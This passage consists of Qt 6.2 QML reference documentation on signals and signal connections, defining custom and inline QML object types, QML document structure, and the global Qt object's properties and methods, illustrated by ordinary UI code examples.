 The `onCompleted` handler is not responding to a `completed` signal from the [Rectangle](qml-qtquick-rectangle) type. Instead, an object of the `Component` *attaching type* with a `completed` signal has automatically been *attached* to the [Rectangle](qml-qtquick-rectangle) object by the QML engine. The engine emits this signal when the Rectangle object is created, thus triggering the `Component.onCompleted` signal handler.

 Attached signal handlers allow objects to be notified of particular signals that are significant to each individual object. If there was no `Component.onCompleted` attached signal handler, for example, an object could not receive this notification without registering for some special signal from some special object. The *attached signal handler* mechanism enables objects to receive particular signals without extra code.

 See [Attached properties and attached signal handlers](qtqml-syntax-objectattributes#attached-properties-and-attached-signal-handlers) for more information on attached signal handlers.

 Adding signals to custom QML types
----------------------------------

 Signals can be added to custom QML types through the `signal` keyword.

 The syntax for defining a new signal is:

 `signal <name>[([<type> <parameter name>[, ...]])]`

 A signal is emitted by invoking the signal as a method.

 For example, the code below is defined in a file named `SquareButton.qml`. The root [Rectangle](qml-qtquick-rectangle) object has an `activated` signal, which is emitted whenever the child [TapHandler](qml-qtquick-taphandler) is `tapped`. In this particular example the activated signal is emitted with the x and y coordinates of the mouse click:

 
```
// SquareButton.qml
import QtQuick

Rectangle {
    id: root

    signal activated(real xPosition, real yPosition)
    property point mouseXY
    property int side: 100
    width: side; height: side

    TapHandler {
        id: handler
        onTapped: root.activated(root.mouseXY.x, root.mouseXY.y)
        onPressedChanged: root.mouseXY = handler.point.position
    }
}
```
 Now any objects of the `SquareButton` can connect to the `activated` signal using an `onActivated` signal handler:

 
```
// myapplication.qml
SquareButton {
    onActivated: (xPosition, yPosition)=> console.log("Activated at " + xPosition + "," + yPosition)
}
```
 See [Signal Attributes](qtqml-syntax-objectattributes#signal-attributes) for more details on writing signals for custom QML types.

 Connecting signals to methods and signals
-----------------------------------------

 Signal objects have a `connect()` method to a connect a signal either to a method or another signal. When a signal is connected to a method, the method is automatically invoked whenever the signal is emitted. This mechanism enables a signal to be received by a method instead of a signal handler.

 Below, the `messageReceived` signal is connected to three methods using the `connect()` method:

 
```
import QtQuick

Rectangle {
    id: relay

    signal messageReceived(string person, string notice)

    Component.onCompleted: {
        relay.messageReceived.connect(sendToPost)
        relay.messageReceived.connect(sendToTelegraph)
        relay.messageReceived.connect(sendToEmail)
        relay.messageReceived("Tom", "Happy Birthday")
    }

    function sendToPost(person, notice) {
        console.log("Sending to post: " + person + ", " + notice)
    }
    function sendToTelegraph(person, notice) {
        console.log("Sending to telegraph: " + person + ", " + notice)
    }
    function sendToEmail(person, notice) {
        console.log("Sending to email: " + person + ", " + notice)
    }
}
```
 In many cases it is sufficient to receive signals through signal handlers rather than using the connect() function. However, using the `connect` method allows a signal to be received by multiple methods as shown earlier, which would not be possible with signal handlers as they must be uniquely named. Also, the `connect` method is useful when connecting signals to [dynamically created objects](qtqml-javascript-dynamicobjectcreation).

 There is a corresponding `disconnect()` method for removing connected signals:

 
```
Rectangle {
    id: relay
    //...

    function removeTelegraphSignal() {
        relay.messageReceived.disconnect(sendToTelegraph)
    }
}
```
 #### Signal to signal connect

 By connecting signals to other signals, the `connect()` method can form different signal chains.

 
```
import QtQuick

Rectangle {
    id: forwarder
    width: 100; height: 100

    signal send()
    onSend: console.log("Send clicked")

    TapHandler {
        id: mousearea
        anchors.fill: parent
        onTapped: console.log("Mouse clicked")
    }

    Component.onCompleted: {
        mousearea.tapped.connect(send)
    }
}
```
 Whenever the [TapHandler](qml-qtquick-taphandler)'s `tapped` signal is emitted, the `send` signal will automatically be emitted as well.

 
```
output:
    MouseArea clicked
    Send clicked
```


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-syntax-signals.html>

QML Object Types
================

 A QML object type is a type from which a QML object can be instantiated.

 In syntactic terms, a QML object type is one which can be used to declare an object by specifying the *type name* followed by a set of curly braces that encompasses the attributes of that object. This differs from *basic types*, which cannot be used in the same way. For example, [Rectangle](qml-qtquick-rectangle) is a QML object type: it can be used to create `Rectangle` type objects. This cannot be done with primitive types such as `int` and `bool`, which are used to hold simple data types rather than objects.

 Custom QML object types can be defined by creating a .qml file that defines the type, as discussed in [Documents as QML object type definitions](qtqml-documents-definetypes), or by defining a QML type from C++ and registering the type with the QML engine, as discussed in [Defining QML Types from C++](qtqml-cppintegration-definetypes). Note that in both cases, the type name must begin with an uppercase letter in order to be declared as a QML object type in a QML file.

 Defining Object Types from QML
------------------------------

 ### Defining Object Types Through QML Documents

 Plugin writers and application developers may provide types defined as QML documents. A QML document, when visible to the QML import system, defines a type identified by the name of the file minus the file extensions.

 Thus, if a QML document named "MyButton.qml" exists, it provides the definition of the "MyButton" type, which may be used in a QML application.

 See the documentation about [QML Documents](https://doc.qt.io/qt-6.2/qtqml-documents-topic.html) for information on how to define a QML document, and the syntax of the QML language. Once you are familiar with the QML language and how to define QML documents, see the documentation which explains how to [define and use your own reusable QML types in QML documents](qtqml-documents-definetypes).

 See [Defining Object Types through QML Documents](qtqml-documents-definetypes) for more information.

 ### Defining Anonymous Types with Component

 Another method of creating object types from within QML is to use the [Component](qml-qtqml-component) type. This allows a type to be defined inline within a QML document, instead of using a separate document in a `.qml` file.

 
```
Item {
    id: root
    width: 500; height: 500

    Component {
        id: myComponent
        Rectangle { width: 100; height: 100; color: "red" }
    }

    Component.onCompleted: {
        myComponent.createObject(root)
        myComponent.createObject(root, {"x": 200})
    }
}
```
 Here the `myComponent` object essentially defines an anonymous type that can be instantiated using [Component::createObject](qml-qtqml-component#createObject-method) to create objects of this anonymous type.

 Inline components share all the characteristics of regular top-level components and use the same `import` list as their containing QML document.

 Note that each [Component](qml-qtqml-component) object declaration creates its own *component scope*. Any *id* values used and referred to from within a [Component](qml-qtqml-component) object declaration must be unique within that scope, but do not need to be unique within the document within which the inline component is declared. So, the [Rectangle](qml-qtquick-rectangle) declared in the `myComponent` object declaration could have an *id* of `root` without conflicting with the `root` declared for the [Item](qml-qtquick-item) object in the same document, as these two *id* values are declared within different component scopes.

 See [Scope and Naming Resolution](qtqml-documents-scope) for more details.

 Defining Object Types from C++
------------------------------

 C++ plugin writers and application developers may register types defined in C++ through API provided by the Qt QML module. There are various registration functions which each allow different use-cases to be fulfilled. For more information about those registration functions, and the specifics of exposing custom C++ types to QML, see the documentation regarding [Defining QML Types from C++](qtqml-cppintegration-definetypes).

 The QML type-system relies on imports, plugins and extensions being installed into a known import path. Plugins may be provided by third-party developers and reused by client application developers. Please see the documentation about [QML modules](https://doc.qt.io/qt-6.2/qtqml-modules-topic.html) for more information about how to create and deploy a QML extension module.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-typesystem-objecttypes.html>

Defining Object Types through QML Documents
===========================================

 One of the core features of QML is that it enables QML object types to be easily defined in a lightweight manner through QML documents to suit the needs of individual QML applications. The standard [Qt Quick](qtquick-index) module provides various types like [Rectangle](qml-qtquick-rectangle), [Text](qml-qtquick-text) and [Image](qml-qtquick-image) for building a QML application; beyond these, you can easily define your own QML types to be reused within your application. This ability to create your own types forms the building blocks of any QML application.

 Defining an Object Type with a QML File
---------------------------------------

 ### Naming Custom QML Object Types

 To create an object type, a QML document should be placed into a text file named as *<TypeName>.qml* where *<TypeName>* is the desired name of the type. The type name has the following requirements:

 * It must be comprised of alphanumeric characters or underscores.
* It must begin with an uppercase letter.

 This document is then automatically recognized by the engine as a definition of a QML type. Additionally, a type defined in this manner is automatically made available to other QML files within the same directory as the engine searches within the immediate directory when resolving QML type names.

 ### Custom QML Type Definition

 For example, below is a document that declares a [Rectangle](qml-qtquick-rectangle) with a child [MouseArea](qml-qtquick-mousearea). The document has been saved to file named `SquareButton.qml`:

 
```
// SquareButton.qml
import QtQuick 2.0

Rectangle {
    property int side: 100
    width: side; height: side
    color: "red"

    MouseArea {
        anchors.fill: parent
        onClicked: console.log("Button clicked!")
    }
}
```
 Since the file is named `SquareButton.qml`, **this can now be used as a type named `SquareButton` by any other QML file within the same directory**. For example, if there was a `myapplication.qml` file in the same directory, it could refer to the `SquareButton` type:

 
```
// myapplication.qml
import QtQuick 2.0

SquareButton {}
```
 ![]


This creates a 100 x 100 red [Rectangle](qml-qtquick-rectangle) with an inner [MouseArea](qml-qtquick-mousearea), as defined in `SquareButton.qml`. When this `myapplication.qml` document is loaded by the engine, it loads the SquareButton.qml document as a component and instantiates it to create a `SquareButton` object.

 The `SquareButton` type encapsulates the tree of QML objects declared in `SquareButton.qml`. When the QML engine instantiates a `SquareButton` object from this type, it is instantiating an object from the [Rectangle](qml-qtquick-rectangle) tree declared in `SquareButton.qml`.

  **Note:** the letter case of the file name is significant on some (notably UNIX) filesystems. It is recommended the file name case matches the case of the desired QML type name exactly - for example, `Box.qml` and not `BoX.qml` - regardless of the platform to which the QML type will be deployed.

  ### Inline Components

 Sometimes, it can be inconvenient to create a new file for a type, for instance when reusing a small delegate in multiple views. If you don't actually need to expose the type, but only need to create an instance, [Component](qml-qtqml-component) is an option. But if you want to declare properties with the component types, or if you want to use it in multiple files, `Component` is not an option. In that case, you can use *inline components*. Inline components declare a new component inside of a file. The syntax for that is

 
```
component <component name> : BaseType {
    // declare properties and bindings here
}
```
 Inside the file which declares the inline component, the type can be referenced simply by its name.

 
```
// Images.qml
import QtQuick 2.15

Item {
    component LabeledImage: Column {
        property alias source: image.source
        property alias caption: text.text

        Image {
            id: image
            width: 50
            height: 50
        }
        Text {
            id: text
            font.bold: true
        }
    }

    Row {
        LabeledImage {
            id: before
            source: "before.png"
            caption: "Before"
        }
        LabeledImage {
            id: after
            source: "after.png"
            caption: "After"
        }
    }
    property LabeledImage selectedImage: before
}
```
 In other files, it has to be prefixed with the name of its containing component.

 
```
// LabeledImageBox.qml
import QtQuick 2.15

Rectangle {
    property alias caption: image.caption
    property alias source: image.source
    border.width: 2
    border.color: "black"
    Images.LabeledImage {
        id: image
    }
}
```
  **Note:** Inline components don't share their scope with the component they are declared in. In the following example, when `A.MyInlineComponent` in file B.qml gets created, a ReferenceError will occur, as `root` does not exist as an id in B.qml. It is therefore advisable not to reference objects in an inline component which are not part of it.

  
```
// A.qml
import QtQuick 2.15

Item {
    id: root
    property string message: "From A"
    component MyInlineComponent : Item {
        Component.onCompleted: console.log(root.message)
    }
}
// B.qml
import QtQuick 2.15

Item {
    A.MyInlineComponent {}
}
```
  **Note:** Inline components cannot be nested.

  ### Importing Types Defined Outside the Current Directory

 If `SquareButton.qml` was not in the same directory as `myapplication.qml`, the `SquareButton` type would need to be specifically made available through an *import* statement in `myapplication.qml`. It could be imported from a relative path on the file system, or as an installed module; see [module](https://doc.qt.io/qt-6.2/qtqml-modules-topic.html) for more details.

 Accessible Attributes of Custom Types
-------------------------------------

 The **root object** definition in a .qml file **defines the attributes that are available for a QML type**. All properties, signals and methods that belong to this root object - whether they are custom declared, or come from the QML type of the root object - are externally accessible and can be read and modified for objects of this type.

 For example, the root object type in the `SquareButton.qml` file above is [Rectangle](qml-qtquick-rectangle). This means any properties defined by the [Rectangle](qml-qtquick-rectangle) type can be modified for a `SquareButton` object. The code below defines three `SquareButton` objects with customized values for some of the properties of the root [Rectangle](qml-qtquick-rectangle) object of the `SquareButton` type:

 
```
// application.qml
import QtQuick 2.0

Column {
    SquareButton { side: 50 }
    SquareButton { x: 50; color: "blue" }
    SquareButton { radius: 10 }
}
```
 ![]


The attributes that are accessible to objects of the custom QML type include any [custom properties](qtqml-syntax-objectattributes#defining-property-attributes), [methods](qtqml-syntax-objectattributes#defining-method-attributes) and [signals](qtqml-syntax-objectattributes#defining-signal-attributes) that have additionally been defined for an object. For example, suppose the [Rectangle](qml-qtquick-rectangle) in `SquareButton.qml` had been defined as follows, with additional properties, methods and signals:

 
```
// SquareButton.qml
import QtQuick 2.0

Rectangle {
    id: root

    property bool pressed: mouseArea.pressed

    signal buttonClicked(real xPos, real yPos)

    function randomizeColor() {
        root.color = Qt.rgba(Math.random(), Math.random(), Math.random(), 1)
    }

    property int side: 100
    width: side; height: side
    color: "red"

    MouseArea {
        id: mouseArea
        anchors.fill: parent
        onClicked: (mouse)=> root.buttonClicked(mouse.x, mouse.y)
    }
}
```
 Any `SquareButton` object could make use of the `pressed` property, `buttonClicked` signal and `randomizeColor()` method that have been added to the root [Rectangle](qml-qtquick-rectangle):

 
```
// application.qml
import QtQuick 2.0

SquareButton {
    id: squareButton

    onButtonClicked: (xPos, yPos)=> {
        console.log("Clicked", xPos, yPos)
        randomizeColor()
    }

    Text { text: squareButton.pressed ? "Down" : "Up" }
}
```
 Note that any of the `id` values defined in `SquareButton.qml` are not accessible to `SquareButton` objects, as id values are only accessible from within the component scope in which a component is declared. The `SquareButton` object definition above cannot refer to `mouseArea` in order to refer to the [MouseArea](qml-qtquick-mousearea) child, and if it had an `id` of `root` rather than `squareButton`, this would not conflict with the `id` of the same value for the root object defined in `SquareButton.qml` as the two would be declared within separate scopes.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-documents-definetypes.html>

Structure of a QML Document
===========================

 A QML document is a self contained piece of QML source code that consists of two parts:

 * Its *import* statements
* A single root object declaration

 By convention, a single empty line separates the imports from the object hierarchy definition.

 QML documents are always encoded in UTF-8 format.

 Imports
-------

 A document must import the necessary modules or type namespaces to enable the engine to load the QML object types referenced within the document. By default, a document can access any QML object types that have been defined through `.qml` files in the same directory; if a document needs to refer to any other object types, it must import the type namespace into which those types have been registered.

 QML does *not* have a preprocessor that modifies the document prior to presentation to the [QML engine](qqmlengine), unlike C or C++. The `import` statements do not copy and prepend the code in the document, but instead instruct the QML engine on how to resolve type references found in the document. Any type reference present in a QML document - such as `Rectangle` and `ListView` - including those made within a [JavaScript block](qtqml-javascript-expressions) or [property bindings](qtqml-syntax-propertybinding), are *resolved* based exclusively on the import statements. At least one `import` statement must be present such as `import QtQuick 2.0`.

 Please see the [QML Syntax - Import Statements](qtqml-syntax-imports) documentation for in-depth information about QML imports.

 The Root Object Declaration
---------------------------

 A QML document describes a hierarchy of objects which can be instantiated. Each object definition has a certain structure; it has a type, it can have an id and an object name, it can have properties, it can have methods, it can have signals and it can have signal handlers.

 A QML file must only contain **a single root object definition**. The following is invalid and will generate an error:

 
```
// MyQmlFile.qml
import QtQuick 2.0

Rectangle { width: 200; height: 200; color: "red" }
Rectangle { width: 200; height: 200; color: "blue" }    // invalid!
```
 This is because a .qml file automatically defines a QML type, which encapsulates a *single* QML object definition. This is discussed further in [Documents as QML object type definitions](qtqml-documents-definetypes).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-documents-structure.html>

Qt QML Type
===========

 Provides a global object with useful enums and functions from Qt. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-qt-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qml-qtqml-qt-obsolete.html)

 Properties
----------

 * **[application](qml-qtqml-qt#application-prop)** : object
* **[inputMethod](qml-qtqml-qt#inputMethod-prop)** : object
* **[platform](qml-qtqml-qt#platform-prop)** : object
* **[styleHints](qml-qtqml-qt#styleHints-prop)** : object
* **[uiLanguage](qml-qtqml-qt#uiLanguage-prop)** : string

 Methods
-------

 * color **[alpha](qml-qtqml-qt#alpha-method)**(color *baseColor*, real *value*)
* string **[atob](qml-qtqml-qt#atob-method)**(*data*)
* **[binding](qml-qtqml-qt#binding-method)**(*function*)
* string **[btoa](qml-qtqml-qt#btoa-method)**(*data*)
* **[callLater](qml-qtqml-qt#callLater-method-1)**(*function*, *argument1*, *argument2*, *...*)
* **[callLater](qml-qtqml-qt#callLater-method)**(*function*)
* color **[color](qml-qtqml-qt#color-method)**(string *name*)
* color **[colorEqual](qml-qtqml-qt#colorEqual-method)**(color *lhs*, string *rhs*)
* Component **[createComponent](qml-qtqml-qt#createComponent-method)**(url *url*, enumeration *mode*, QtObject *parent*)
* object **[createQmlObject](qml-qtqml-qt#createQmlObject-method)**(string *qml*, object *parent*, string *filepath*)
* color **[darker](qml-qtqml-qt#darker-method)**(color *baseColor*, real *factor*)
* **[exit](qml-qtqml-qt#exit-method)**(int *retCode*)
* font **[font](qml-qtqml-qt#font-method)**(object *fontSpecifier*)
* list<string> **[fontFamilies](qml-qtqml-qt#fontFamilies-method)**()
* string **[formatDate](qml-qtqml-qt#formatDate-method)**(datetime *date*, variant *format*, variant *localeFormatOption*)
* string **[formatDateTime](qml-qtqml-qt#formatDateTime-method)**(datetime *dateTime*, variant *format*, variant *localeFormatOption*)
* string **[formatTime](qml-qtqml-qt#formatTime-method)**(datetime *time*, variant *format*, variant *localeFormatOption*)
* color **[hsla](qml-qtqml-qt#hsla-method)**(real *hue*, real *saturation*, real *lightness*, real *alpha*)
* color **[hsva](qml-qtqml-qt#hsva-method)**(real *hue*, real *saturation*, real *value*, real *alpha*)
* bool **[isQtObject](qml-qtqml-qt#isQtObject-method)**(*object*)
* color **[lighter](qml-qtqml-qt#lighter-method)**(color *baseColor*, real *factor*)
* **[locale](qml-qtqml-qt#locale-method)**(*name*)
* string **[md5](qml-qtqml-qt#md5-method)**(*data*)
* matrix4x4 **[matrix4x4](qml-qtqml-qt#matrix4x4-method)**(real *m11*, real *m12*, real *m13*, real *m14*, real *m21*, real *m22*, real *m23*, real *m24*, real *m31*, real *m32*, real *m33*, real *m34*, real *m41*, real *m42*, real *m43*, real *m44*)
* bool **[openUrlExternally](qml-qtqml-qt#openUrlExternally-method)**(url *target*)
* point **[point](qml-qtqml-qt#point-method)**(real *x*, real *y*)
* string **[qsTr](qml-qtqml-qt#qsTr-method)**(string *sourceText*, string *disambiguation*, int *n*)
* string **[qsTrId](qml-qtqml-qt#qsTrId-method)**(string *id*, int *n*)
* string **[qsTrIdNoOp](qml-qtqml-qt#qsTrIdNoOp-method)**(string *id*)
* string **[qsTrNoOp](qml-qtqml-qt#qsTrNoOp-method)**(string *sourceText*, string *disambiguation*)
* string **[qsTranslate](qml-qtqml-qt#qsTranslate-method)**(string *context*, string *sourceText*, string *disambiguation*, int *n*)
* string **[qsTranslateNoOp](qml-qtqml-qt#qsTranslateNoOp-method)**(string *context*, string *sourceText*, string *disambiguation*)
* quaternion **[quaternion](qml-qtqml-qt#quaternion-method)**(real *scalar*, real *x*, real *y*, real *z*)
* **[quit](qml-qtqml-qt#quit-method)**()
* rect **[rect](qml-qtqml-qt#rect-method)**(real *x*, real *y*, real *width*, real *height*)
* url **[resolvedUrl](qml-qtqml-qt#resolvedUrl-method-1)**(url *url*, object *context*)
* url **[resolvedUrl](qml-qtqml-qt#resolvedUrl-method)**(url *url*)
* color **[rgba](qml-qtqml-qt#rgba-method)**(real *red*, real *green*, real *blue*, real *alpha*)
* size **[size](qml-qtqml-qt#size-method)**(real *width*, real *height*)
* color **[tint](qml-qtqml-qt#tint-method)**(color *baseColor*, color *tintColor*)
* url **[url](qml-qtqml-qt#url-method)**(url *url*)
* vector2d **[vector2d](qml-qtqml-qt#vector2d-method)**(real *x*, real *y*)
* vector3d **[vector3d](qml-qtqml-qt#vector3d-method)**(real *x*, real *y*, real *z*)
* vector4d **[vector4d](qml-qtqml-qt#vector4d-method)**(real *x*, real *y*, real *z*, real *w*)

 Detailed Description
--------------------

 The `Qt` object is a global object with utility functions, properties and enums.

 It is not instantiable; to use it, call the members of the global `Qt` object directly. For example:

 
```
import QtQuick 2.0

Text {
    color: Qt.rgba(1, 0, 0, 1)
    text: Qt.md5("hello, world")
}
```
 Enums
-----

 The Qt object contains the enums available in the [Qt Namespace](qt). For example, you can access the [Qt::LeftButton](qt#MouseButton-enum) and [Qt::RightButton](qt#MouseButton-enum) enumeration values as `Qt.LeftButton` and `Qt.RightButton`.

 Types
-----

 The Qt object also contains helper functions for creating objects of specific data types. This is primarily useful when setting the properties of an item when the property has one of the following types:

 * `rect` - use [Qt.rect](qml-qtqml-qt#rect-method)()
* `point` - use [Qt.point](qml-qtqml-qt#point-method)()
* `size` - use [Qt.size](qml-qtqml-qt#size-method)()

 If the `QtQuick` module has been imported, the following helper functions for creating objects of specific data types are also available for clients to use:

 * `color` - use [Qt.rgba](qml-qtqml-qt#rgba-method)(), [Qt.hsla](qml-qtqml-qt#hsla-method)(), [Qt.darker](qml-qtqml-qt#darker-method)(), [Qt.lighter](qml-qtqml-qt#lighter-method)() or [Qt.tint](qml-qtqml-qt#tint-method)()
* `font` - use [Qt.font](qml-qtqml-qt#font-method)()
* `vector2d` - use [Qt.vector2d](qml-qtqml-qt#vector2d-method)()
* `vector3d` - use [Qt.vector3d](qml-qtqml-qt#vector3d-method)()
* `vector4d` - use [Qt.vector4d](qml-qtqml-qt#vector4d-method)()
* `quaternion` - use [Qt.quaternion](qml-qtqml-qt#quaternion-method)()
* `matrix4x4` - use [Qt.matrix4x4](qml-qtqml-qt#matrix4x4-method)()

 There are also string based constructors for these types. See [QML Basic Types](qtqml-typesystem-basictypes) for more information.

 Date/Time Formatters
--------------------

 The Qt object contains several functions for formatting [QDateTime](qdatetime), [QDate](qdate) and [QTime](qtime) values.

 * [string Qt.formatDateTime(datetime date, variant format)](qml-qtqml-qt#formatDateTime-method)
* [string Qt.formatDate(datetime date, variant format)](qml-qtqml-qt#formatDate-method)
* [string Qt.formatTime(datetime date, variant format)](qml-qtqml-qt#formatTime-method)

 The format specification is described at [Qt.formatDateTime](qml-qtqml-qt#formatDateTime-method).

 Dynamic Object Creation
-----------------------

 The following functions on the global object allow you to dynamically create QML items from files or strings. See [Dynamic QML Object Creation from JavaScript](qtqml-javascript-dynamicobjectcreation) for an overview of their use.

 * [object Qt.createComponent(url)](qml-qtqml-qt#createComponent-method)
* [object Qt.createQmlObject(string qml, object parent, string filepath)](qml-qtqml-qt#createQmlObject-method)

 Other Functions
---------------

 The following functions are also on the Qt object.

 * [Qt.quit](qml-qtqml-qt#quit-method)()
* [Qt.md5](qml-qtqml-qt#md5-method)(string)
* [string Qt.btoa(string)](qml-qtqml-qt#btoa-method)
* [string Qt.atob(string)](qml-qtqml-qt#atob-method)
* [object Qt.binding(function)](qml-qtqml-qt#binding-method)
* [object Qt.locale()](qml-qtqml-qt#locale-method)
* [string Qt.resolvedUrl(string)](qml-qtqml-qt#resolvedUrl-method)
* [Qt.openUrlExternally](qml-qtqml-qt#openUrlExternally-method)(string)
* [list<string> Qt.fontFamilies()](qml-qtqml-qt#fontFamilies-method)

 Property Documentation
----------------------

 ###  [since 5.1] application : object

 The `application` object provides access to global application state properties shared by many QML components.

 It is the same as the [Application](qml-qtquick-application) singleton.

 The following example uses the `application` object to indicate whether the application is currently active:

 
```
import QtQuick 2.0

Rectangle {
    width: 300; height: 55
    color: Qt.application.active ? "white" : "lightgray"
    Text {
        text: "Application " + (Qt.application.active ? "active" : "inactive")
        opacity: Qt.application.active ? 1.0 : 0.5
        anchors.centerIn: parent
    }
}
```
  **Note:** When using QML without a [QGuiApplication](qguiapplication), the following properties will be undefined:

  * application.active
* application.state
* application.layoutDirection
* application.font

 This property was introduced in Qt 5.1.

 ###  [since 5.0] inputMethod : object

 The `inputMethod` object allows access to application's [QInputMethod](qinputmethod) object and all its properties and slots. See the [QInputMethod](qinputmethod) documentation for further details.

 This property was introduced in Qt 5.0.

 ###  [since 5.1] platform : object

 The `platform` object provides info about the underlying platform.

 Its properties are:

 

|  |  |
| --- | --- |
| `platform.os` | This read-only property contains the name of the operating system.Possible values are:* `"android"` - Android
* `"ios"` - iOS
* `"tvos"` - tvOS
* `"linux"` - Linux
* `"osx"` - macOS
* `"qnx"` - QNX (since Qt 5.9.3)
* `"unix"` - Other Unix-based OS
* `"windows"` - Windows
* `"wasm"` - WebAssembly
 |
| `platform.pluginName` | This is the name of the platform set on the [QGuiApplication](qguiapplication) instance as returned by [QGuiApplication::platformName](qguiapplication#platformName-prop)() |

 This property was introduced in Qt 5.1.

 ###  [since 5.5] styleHints : object

 The `styleHints` object provides platform-specific style hints and settings. See the [QStyleHints](qstylehints) documentation for further details.

  **Note:** The `styleHints` object is only available when using the Qt Quick module.

  The following example uses the `styleHints` object to determine whether an item should gain focus on mouse press or touch release:

 
```
import QtQuick 2.4

MouseArea {
    id: button

    onPressed: {
        if (!Qt.styleHints.setFocusOnTouchRelease)
            button.forceActiveFocus()
    }
    onReleased: {
        if (Qt.styleHints.setFocusOnTouchRelease)
            button.forceActiveFocus()
    }
}
```
 This property was introduced in Qt 5.5.

 ###  [since 5.15] uiLanguage : [string](qml-string)

 The uiLanguage holds the name of the language to be used for user interface string translations. It is exposed in C++ as QQmlEngine::uiLanguage property.

 You can set the value freely and use it in bindings. It is recommended to set it after installing translators in your application. By convention, an empty string means no translation from the language used in the source code is intended to occur.

 If you're using [QQmlApplicationEngine](qqmlapplicationengine) and the value changes, [QQmlEngine::retranslate](qqmlengine#retranslate)() will be called.

 This property was introduced in Qt 5.15.

 Method Documentation
--------------------

  ###  `[since 5.8]` callLater(*function*)

 
Use this function to eliminate redundant calls to a function or signal.

 The function passed as the first argument to Qt.[callLater](qml-qtqml-qt#callLater-method)() will be called later, once the QML engine returns to the event loop.

 When this function is called multiple times in quick succession with the same function as its first argument, that function will be called only once.

 For example:

 
```
import QtQuick 2.0

Rectangle {
    width: 480
    height: 320

    property int callsToUpdateMinimumWidth: 0
    property bool optimize: true

    property int currentTextModel: 0
    property var columnTexts: [
        ["Click on either", "rectangle above", "and note how the counter", "below updates", "significantly faster using the", "regular (non-optimized)", "implementation"],
        ["The width", "of this column", "is", "no wider than the", "widest item"],
        ["Note how using Qt.callLater()", "the minimum width is", "calculated a bare-minimum", "number", "of times"]
    ]

    Text {
        x: 20; y: 280
        text: "Times minimum width has been calculated: " + callsToUpdateMinimumWidth
    }

    Row {
        y: 25; spacing: 30; anchors.horizontalCenter: parent.horizontalCenter
        Rectangle {
            width: 200; height:  50; color: "lightgreen"
            Text { text: "Optimized behavior\nusing Qt.callLater()"; anchors.centerIn: parent }
            MouseArea { anchors.fill: parent; onClicked: { optimize = true; currentTextModel++ } }
        }
        Rectangle {
            width: 200; height:  50; color: "lightblue"
            Text { text: "Regular behavior"; anchors.centerIn: parent}
            MouseArea { anchors.fill: parent; onClicked: { optimize = false; currentTextModel++ } }
        }
    }

    Column {
        id: column
        anchors.centerIn: parent

        onChildrenChanged: optimize ? Qt.callLater(updateMinimumWidth) : updateMinimumWidth()

        property int widestChild
        function updateMinimumWidth() {
            callsToUpdateMinimumWidth++
            var w = 0;
            for (var i in children) {
                var child = children[i];
                if (child.implicitWidth > w) {
                    w = child.implicitWidth;
                }
            }

            widestChild = w;
        }

        Repeater {
            id: repeater
            model: columnTexts[currentTextModel%3]
            delegate: Text {
                color: "white"
                text: modelData
                width: column.widestChild
                horizontalAlignment: Text.Center
                Rectangle { anchors.fill: parent; z: -1; color: index%2 ? "gray" : "darkgray" }
            }
        }
    }
}
```
 Any additional arguments passed to Qt.[callLater](qml-qtqml-qt#callLater-method)() will be passed on to the function invoked. Note that if redundant calls are eliminated, then only the last set of arguments will be passed to the function.

 This QML method was introduced in Qt 5.8.

 ###  [color](qml-qtqml-qt#color-method) alpha([color](qml-qtqml-qt#color-method) *baseColor*, [real](qml-real) *value*)

 Returns *baseColor* with an alpha value of *value*.

 *value* is a real ranging from 0 (completely transparent) to 1 (completely opaque).

 ###  [string](qml-string) atob(*data*)

 ASCII to binary - this function decodes the base64 encoded *data* string and returns it.

 ###  `[since 5.0]` binding(*function*)

 Returns a JavaScript object representing a [property binding](qtqml-syntax-propertybinding), with a *function* that evaluates the binding.

 There are two main use-cases for the function: firstly, to apply a property binding imperatively from JavaScript code:

 
```
Item {
    property bool someCondition: true
    property int edgePosition

    Component.onCompleted: {
        if (someCondition == true) {
            // bind to the result of the binding expression passed to Qt.binding()
            edgePosition = Qt.binding(function() { return x + width })
        }
    }
}
```
 and secondly, to apply a property binding when initializing property values of dynamically constructed objects (via [Component.createObject](qml-qtqml-component#createObject-method)() or [Loader.setSource](qml-qtquick-loader#setSource-method)()).

 For example, assuming the existence of a DynamicText component:

 
```
import QtQuick 2.0

Text {
    id: textElement
    width: 200
    height: 200
    text: "Default text"
    property string dynamicText: "Dynamic text"
    onTextChanged: console.log(text)
}
```
 the output from:

 
```
Item {
    id: root
    property string dynamicText: "Root text"

    Component.onCompleted: {
        var c = Qt.createComponent("DynamicText.qml")

        var obj1 = c.createObject(root, { 'text': Qt.binding(function() { return dynamicText + ' extra text' }) })
        root.dynamicText = "Modified root text"

        var obj2 = c.createObject(root, { 'text': Qt.binding(function() { return this.dynamicText + ' extra text' }) })
        obj2.dynamicText = "Modified dynamic text"
    }
}
```
 and from:

 
```
Item {
    id: root
    property string dynamicText: "Root text"

    Loader {
        id: loaderOne
        onLoaded: root.dynamicText = "Modified root text"
    }

    Loader {
        id: loaderTwo
        onLoaded: item.dynamicText = "Modified dynamic text"
    }

    Component.onCompleted: {
        loaderOne.setSource("DynamicText.qml", { 'text': Qt.binding(function() { return dynamicText + ' extra text' }) })
        loaderTwo.setSource("DynamicText.qml", { 'text': Qt.binding(function() { return this.dynamicText + ' extra text' }) })
    }
}
```
 should both be:

 
```
Root text extra text
Modified root text extra text
Dynamic text extra text
Modified dynamic text extra text
```
 This function cannot be used in property binding declarations (see the documentation on [binding declarations and binding assignments](qtqml-syntax-propertybinding#qml-javascript-assignment)) except when the result is stored in an array bound to a var property.

 
```
Item {
    width: 50
    property var storedBindings: [ Qt.binding(function() { return x + width }) ] // stored
    property int a: Qt.binding(function() { return x + width }) // error!
    property int b

    Component.onCompleted: {
        b = storedBindings[0] // causes binding assignment
    }
}
```
 This method was introduced in Qt 5.0.

 ###  [string](qml-string) btoa(*data*)

